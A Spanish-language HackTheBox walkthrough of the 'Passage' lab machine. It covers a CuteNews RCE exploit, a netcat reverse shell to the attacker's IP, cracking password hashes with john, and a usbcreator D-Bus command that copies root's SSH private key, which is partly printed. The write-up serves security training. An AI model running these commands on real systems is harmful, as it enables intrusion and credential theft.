Passage es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Passage 10.10.10.206 a /etc/hosts como passage.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Nmap 7.70 scan initiated Thu Dec 3 11:38:27 2020 as: nmap -sC -p- -oA enumeration/nmap 10.10.10.206 Nmap scan report for 10.10.10.206 Host is up (0.053s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA) | 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA) |_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519) 80/tcp open http |_http-title: Passage News # Nmap done at Thu Dec 3 11:39:05 2020 -- 1 IP address (1 host up) scanned in 38.13 seconds |
No encontramos muchos puertos abiertos en esta máquina así que iremos directamente al portal web en el puerto 80.
Enumeración
Accedemos al portal en el puerto 80 y obtenemos una página RSS de un blog:
Revisamos un poco el portal pero no encontramos nada relevante a excepción de un punto, la imagen de RSS es un enlace a la url
1 |
http://passage.htb/CuteNews/rss.php |
Revisamos un poco por encima y no vemos nada fuera de lo normal así que eliminamos el fichero php y procedemos a acceder al directorio CuteNews donde observamos una pantalla de login:
En la que además podemos observar la versión utilizada, en este caso es CuteNews 2.1.2 por lo que buscamos en google alguna vulnerabilidad y encontramos el CVE-2019-1447 y un exploit para realizar un RCE en el siguiente link
1 |
https://www.exploit-db.com/exploits/48800 |
Así que nos descargamos dicho exploit y lo ejecutamos contra la url passage.htb dando lugar al siguiente resultado:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
$ python3 CVE-2019-11447.py _____ __ _ __ ___ ___ ___ / ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ | / /__/ // / __/ -_) / -_) |/|/ (_-< / __/_ / / / __/ \___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/ ___ _________ / _ \/ ___/ __/ / , _/ /__/ _/ /_/|_|\___/___/ [->] Usage python3 expoit.py Enter the URL> http://passage.htb/ ================================================================ Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN ================================================================ 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1 4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88 e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca 4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc ================================================================ ============================= Registering a users ============================= [+] Registration successful with username: tdWvjq7NLt and password: tdWvjq7NLt ======================================================= Sending Payload ======================================================= signature_key: 92251190ba9286a7eb270c86a76943c7-tdWvjq7NLt signature_dsi: 71c8b16981b8c283037fb038c9a53660 logged in user: tdWvjq7NLt ============================ Dropping to a SHELL ============================ command > |
Por lo que verificamos que realmente hemos podido explotar la misma y obtener acceso a la máquina.
Abriremos ahora una shell inversa ejecutando el siguiente comando:
1 |
nc -e /bin/sh 10.10.14.13 4444 |
Y obtendremos en nuestra escucha una shell con el usuario www-data
1 2 3 4 5 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.206] 36388 id uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Tenemos una shell, pero no interactiva que digamos, por lo que usaremos python para obtener una shell en condiciones:
1 2 |
python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@passage:/var/www/html/CuteNews/uploads$ |
Enumeramos la máquina y encontramos el directorio /var/www/html/CuteNews/cdata/users una serie de ficheros con hashes en base 64 por lo que procedemos a obtener y decodificar los mismos:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
www-data@passage:/var/www/html/CuteNews/cdata/users$ for i in $(cat *|grep -v "access denied");do echo $i | base64 -d && echo ;done <access denied");do echo -n $i | base64 -d && echo ;done a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}} a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}} a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}} a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}} a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}} a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}} a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}} a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}} a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}} a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}} a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}} a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}} a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}} a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}} a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}} www-data@passage:/var/www/html/CuteNews/cdata/users$ |
Y encontramos varios hashes de password en los datos obtenidos. Revisamos el fichero /etc/passwd para conocer los usuarios existentes y vemos que el usuario Paul tiene un usuario creado en la máquina por lo que procedemos a descifrar la misma con john.
1 2 3 4 5 6 7 8 9 10 |
$ john paulhash -w=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 Using default input encoding: UTF-8 Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x]) Warning: poor OpenMP scalability for this hash type, consider --fork=2 Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status atlanta1 (?) 1g 0:00:00:00 DONE (2020-12-03 12:09) 16.66g/s 546133p/s 546133c/s 546133C/s 123456..eatme1 Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably Session completed |
Y conseguimos la clave del mismo, así que accederemos al mismo desde la consola obtenida:
1 2 3 4 5 6 7 8 9 10 11 |
www-data@passage:/var/www/html/CuteNews/cdata/users$ su paul su paul Password: atlanta1 paul@passage:/var/www/html/CuteNews/cdata/users$ whoami whoami paul paul@passage:/var/www/html/CuteNews/cdata/users$ id id uid=1001(paul) gid=1001(paul) groups=1001(paul) paul@passage:/var/www/html/CuteNews/cdata/users$ |
Obteniendo la flag de user
Ahora que ya estamos con el usuario paul, nos vamos a la home de este y obtenemos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
paul@passage:/var/www/html/CuteNews/cdata/users$ cd cd paul@passage:~$ pwd pwd /home/paul paul@passage:~$ ls -l ls -l total 48 drwxr-xr-x 2 paul paul 4096 Jul 21 10:44 Desktop drwxr-xr-x 2 paul paul 4096 Jul 21 10:44 Documents drwxr-xr-x 2 paul paul 4096 Jul 21 10:44 Downloads -rw-r--r-- 1 paul paul 8980 Apr 20 2016 examples.desktop drwxr-xr-x 2 paul paul 4096 Jul 21 10:44 Music drwxr-xr-x 2 paul paul 4096 Jul 21 10:44 Pictures drwxr-xr-x 2 paul paul 4096 Jul 21 10:44 Public drwxr-xr-x 2 paul paul 4096 Jul 21 10:44 Templates -r-------- 1 paul paul 33 Dec 3 02:09 user.txt drwxr-xr-x 2 paul paul 4096 Jul 21 10:44 Videos paul@passage:~$ cat user.txt cat user.txt 0xxxxxxxxxxxxxxxxxxxxxxxxxxx7 paul@passage:~$ |
Escalado de privilegios
Ahora que ya tenemos acceso a la máquina con un usuario diferente de www-data, enumeramos la misma y descubrimos que el usuario nadav tiene una clave ssh incluida en el authorized_keys del usuario paul y que ademas encontramos también la clave pem del mismo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
paul@passage:~$ cd .ssh cd .ssh paul@passage:~/.ssh$ ll ll total 24 drwxr-xr-x 2 paul paul 4096 Jul 21 10:43 ./ drwxr-x--- 16 paul paul 4096 Sep 2 07:18 ../ -rw-r--r-- 1 paul paul 395 Jul 21 10:43 authorized_keys -rw------- 1 paul paul 1679 Jul 21 10:43 id_rsa -rw-r--r-- 1 paul paul 395 Jul 21 10:43 id_rsa.pub -rw-r--r-- 1 paul paul 1312 Jul 21 10:44 known_hosts paul@passage:~/.ssh$ cat au cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage paul@passage:~/.ssh$ |
Por lo que nos descargamos la misma y accedemos ahora con el usuario nadav a la máquina a través de ssh:
1 2 3 4 5 6 7 8 9 10 11 |
$ ssh -i /tmp/nadav.pem nadav@passage.htb The authenticity of host 'passage.htb (10.10.10.206)' can't be established. ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'passage.htb,10.10.10.206' (ECDSA) to the list of known hosts. Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1 nadav@passage:~$ id uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) nadav@passage:~$ whoami nadav nadav@passage:~$ |
Además observamos que pertenece al grupo sudo pero no conocemos la contraseña del usuario por lo que no podemos hacer gran cosa con ello por el momento. Volveremos entonces a enumerar el sistema a ver si este usuario dispone de más privilegios que el anterior.
Descubrimos la versión ejecutada del sistema operativo:
1 2 3 4 5 6 |
nadav@passage:~$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial |
Y el siguiente proceso muy interesante:
1 |
root 29684 0.3 0.4 235520 19672 ? Sl 04:23 0:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper |
El programa usb-creator-helper utiliza la creación de usb en vivo integrada por defecto en ubuntu, llamado “Creador de discos de inicio”. Startup disk creator es una herramienta oficial para crear Live USB de ubuntu desde el live cd o desde una imagen iso.
Esta herramienta se incluye de forma predeterminada en todas las versiones posteriores a ubuntu 8.04, asi que buscaremos si existe alguna vulnerabilidad al respecto en google y encontramos una que puede ayudarnos en la siguiente poc:
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
En este caso lo que sucede es que la herramienta usbcreator implementa la herramienta dd para la creación del disco, pero no realiza ninguna comprobacion de saneamiento sobre los archivos que se escriben, ni la ubicacion donde se escriben, ni solicita la password de usuario para aquellos que pertenecen al grupo sudo. En nuestro caso, el usuario nadav pertenece a este grupo como podemos verificar con el comando id:
1 2 |
nadav@passage:~$ id uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) |
Utilizando esta vulnerabilidad podemos obtener informacion sensible de root como puede ser la flag o un fichero de claves ssh, asi que en nuestro caso lo utilizaremos para obtener la clave ssh del usuario root y escalar con ello privilegios. El comando será el siguiente:
1 |
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/test true |
Lo ejecutaremos con el usuario nadav:
1 2 |
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/test true () |
Y verificaremos que el fichero generado contiene la clave ssh de root:
1 2 3 4 5 6 7 8 9 10 11 12 |
nadav@passage:~$ cat /tmp/test -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAth1mFSVw6Erdhv7qc+Z5KWQMPtwTsT9630uzpq5fBx/KKzqZ B7G3ej77MN35+ULlwMcpoumayWK4yZ/AiJBm6FEVBGSwjSMpOGcNXTL1TClGWbdE +WNBT+30n0XJzi/JPhpoWhXM4OqYLCysX+/b0psF0jYLWy0MjqCjCl/muQtD6f2e jc2JY1KMMIppoq5DwB/jJxq1+eooLMWVAo9MDNDmxDiw+uWRUe8nj9qFK2LRKfG6 U6wnyQ10ANXIdRIY0bzzhQYTMyH7o5/sjddrRGMDZFmOq6wHYN5sUU+sZDYD18Yg ezdTw/BBiDMEPzZuCUlW57U+eX3uY+/Iffl+AwIDAQABAoIBACFJkF4vIMsk3AcP 0zTqHJ1nLyHSQjs0ujXUdXrzBmWb9u0d4djZMAtFNc7B1C4ufyZUgRTJFETZKaOY 8q1Dj7vJDklmSisSETfBBl1RsiqApN5DNHVNIiQE/6CZNgDdFTCnzQkiUPePic8R ------- -----END RSA PRIVATE KEY----- |
Obteniendo la flag de root
Ahora que ya tenemos la clave ssh de root sólo nos queda acceder con la misma y conseguir nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ ssh -i /tmp/passage.pem root@passage.htb Last login: Mon Aug 31 15:14:22 2020 from 127.0.0.1 root@passage:~# whoami root root@passage:~# id uid=0(root) gid=0(root) groups=0(root) root@passage:~# ls -l /root total 12 drwxr-xr-x 2 root root 4096 Jul 21 10:44 artifacts drwxr-xr-x 2 root root 4096 Jul 21 10:44 files -r-------- 1 root root 33 Dec 3 02:09 root.txt root@passage:~# cat root.txt 0xxxxxxxxxxxxxxxxxxxxxxxxe root@passage:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace